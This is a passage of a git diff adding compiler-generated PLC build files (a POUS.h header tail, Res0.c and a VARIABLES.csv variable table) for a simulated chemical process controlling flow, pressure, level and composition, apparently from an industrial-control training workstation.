__DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_VAR(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(BOOL,MOVE99_ENO) + __DECLARE_VAR(UINT,MOVE99_OUT) + __DECLARE_VAR(BOOL,MOVE4_ENO) + __DECLARE_VAR(UINT,MOVE4_OUT) + __DECLARE_VAR(BOOL,MOVE5_ENO) + __DECLARE_VAR(UINT,MOVE5_OUT) + __DECLARE_VAR(BOOL,MOVE7_ENO) + __DECLARE_VAR(UINT,MOVE7_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c new file mode 100644 index 0000000..eb32125 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c @@ -0,0 +1,37 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o new file mode 100644 index 0000000..5ceef8d --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv new file mode 100644 index 0000000..ef0df68 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv @@ -0,0 +1,380 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +1;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +2;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +16;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +17;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +27;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +28;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +42;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +43;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +53;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +54;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +66;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +67;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +71;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +72;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +86;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +87;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +97;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +98;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +108;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +109;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; 